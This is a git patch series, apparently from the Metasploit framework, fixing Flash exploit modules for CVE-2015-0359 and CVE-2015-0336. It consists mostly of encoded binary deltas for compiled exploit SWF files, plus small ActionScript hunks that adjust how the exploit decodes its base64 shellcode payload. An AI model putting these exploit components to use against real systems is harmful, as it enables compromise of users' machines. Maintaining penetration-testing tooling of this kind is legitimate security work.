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 diff --git a/external/source/exploits/CVE-2015-0359/Msf.as b/external/source/exploits/CVE-2015-0359/Msf.as index 1bf0cd1947..3556b41542 100755 --- a/external/source/exploits/CVE-2015-0359/Msf.as +++ b/external/source/exploits/CVE-2015-0359/Msf.as @@ -43,7 +43,10 @@ package private function mainThread():void { - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) payload = b64.toByteArray().toString() ba.length = 0x1000 ba.shareable = true From 801deeaddf9e2478fce0b0a85b8c9d2e57997e88 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 17:20:49 -0500 Subject: [PATCH 38/55] Fix CVE-2015-0336 --- data/exploits/CVE-2015-0336/msf.swf | Bin 18060 -> 18121 bytes external/source/exploits/CVE-2015-0336/Msf.as | 7 +++++-- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/data/exploits/CVE-2015-0336/msf.swf b/data/exploits/CVE-2015-0336/msf.swf index 4a080464a1976c24c6aadb2ed1fad6110bf9983e..97b6ffe99c8b2f00fb4196a19f6bd600601dfc99 100755 GIT binary patch delta 17980 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 